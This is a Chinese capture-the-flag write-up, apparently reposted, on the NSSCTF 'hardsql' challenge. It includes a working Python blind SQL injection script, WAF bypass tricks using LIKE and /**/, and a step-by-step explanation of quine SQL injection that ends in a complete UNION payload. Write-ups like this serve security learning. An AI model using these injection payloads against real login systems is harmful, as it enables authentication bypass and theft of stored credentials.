微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

记录一次qunie注入的学习

题目地址:[NSSCTF - NISACTF 2022]hardsql (ctfer.vip)

一个sql注入的题目,题目描述有如下提示

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

用户名必须为’bilala’,password内容可控

在这里插入图片描述

fuzz一下,过滤了if,sleep,char,||,=,空格等,但是有一点是题目给出了查询语句,也就是我们知道了表明字段名,而且or没有被过滤,这就可以使用like去代替=,用/**/代替空格去进行盲注

payload=1'/**/or/**/passwd/**/like/**/'b2%'# 回显成功,第一位为b

写出盲注脚本

import requests
url = "http://1.14.71.254:28409/index.PHP"
set = 'qwertyuiopasdfghjklzxcvbnm0123456789'
password = ""
for i in range(1,50):
    for j in set:
        payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(password + j)
        data = {'username': 'bilala', 'passwd': payload}
        resp = requests.post(url=url,data=data)
        #print(res.text)
        if "wrong password" in resp.text:
            password += j
            print(password)
            break
print(password)

得到密码b2f2d15b3ae082ca29697d8dcd420fd7

登入之后并没有flag而是给出了源码

<?PHP
//多加了亿点点过滤

include_once("config.PHP");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checksql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.PHP');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.PHP');
    }
    checksql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=MysqLi_query($MysqLLink,$sql);
    $row = MysqLi_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.PHP');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.PHP');
    }
}

?>

得到flag的关键代码入下

if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.PHP');
    }
}

其中外层if内的条件要求我们查询结果的密码,要与输入的密码一致,但内层if要求又不是刚刚注出来的密码,这里就要运用的quine注入

Quine的分析

Quine叫做自产生程序,就是可以输出本身源代码的程序,在sql注入技术中,这是一种使得输入的sql语句和输出sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

首先先了解一下replace()函数

  • replace(object,search,replace)
  • 把object对象中出现的的search全部替换成replace,然后返回替换后的结果

例如

select replace(".",char(46),".");#char(46)就是"."
结果为
MysqL> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+
1 row in set (0.00 sec)

如何让输入输出一致呢

将第一个个和第三个参数都改为'replace(".",char(46),".")'
就是select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
结果为
MysqL> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.00 sec)
为什么会返回这个结果呢
sql语句为select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
第一个参数'replace(".",char(46),".")'
第二个参数char(46)也就是"."
第三个参数'replace(".",char(46),".")'
也就是用第三个参数将第一个字符串里面的.换成replace(".",char(46),".")
但是两个句子在第一个参数和第三个参数当中的引号还是有差别的,还并不是输入输出一致
要做的输入输出一致还必须在嵌套一层将双引号替换为单引号#char(34)为",char(39)为'
select replace(replace('"."',char(34),char(39)),char(46),".");
#将"."的"换成'然后将.换成.
结果为
MysqL> select replace(replace('"."',char(34),char(39)),char(46),".");
+--------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),".") |
+--------------------------------------------------------+
| '.'                                                    |
+--------------------------------------------------------+
1 row in set (0.00 sec)
根据上面的形式要使得输入和输出结果一样
就用replace(replace(".",char(34),char(39)),char(46),".")替换"."也就是
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
运行结果为
MysqL> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
就达到了输入输出一样的结果

根据上面的推导,那么得出构造Quine的基本形式为

replace(replace('str',char(34),char(39)),char(46),'str')
先将str中的双引号换成单引号,然后用str替换str中的.
而str的基本形式为
就是将quine语句中的'str'部分换成"."(换成其他"!"等的也可以),然后其他地方的'换成"
也就是replace(replace(".",char(34),char(39)),char(46),".")
这样嵌套起来就达到了输入输出的相同的目的

那么回到题目中

题目给的条件是

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

那么我们payload的构造quine的基本形式就应该是

1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#

而str的基本形式就是

1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

char被过滤了使用chr(或者0x)绕过之后的最终payload为

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

登入后得到flag

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐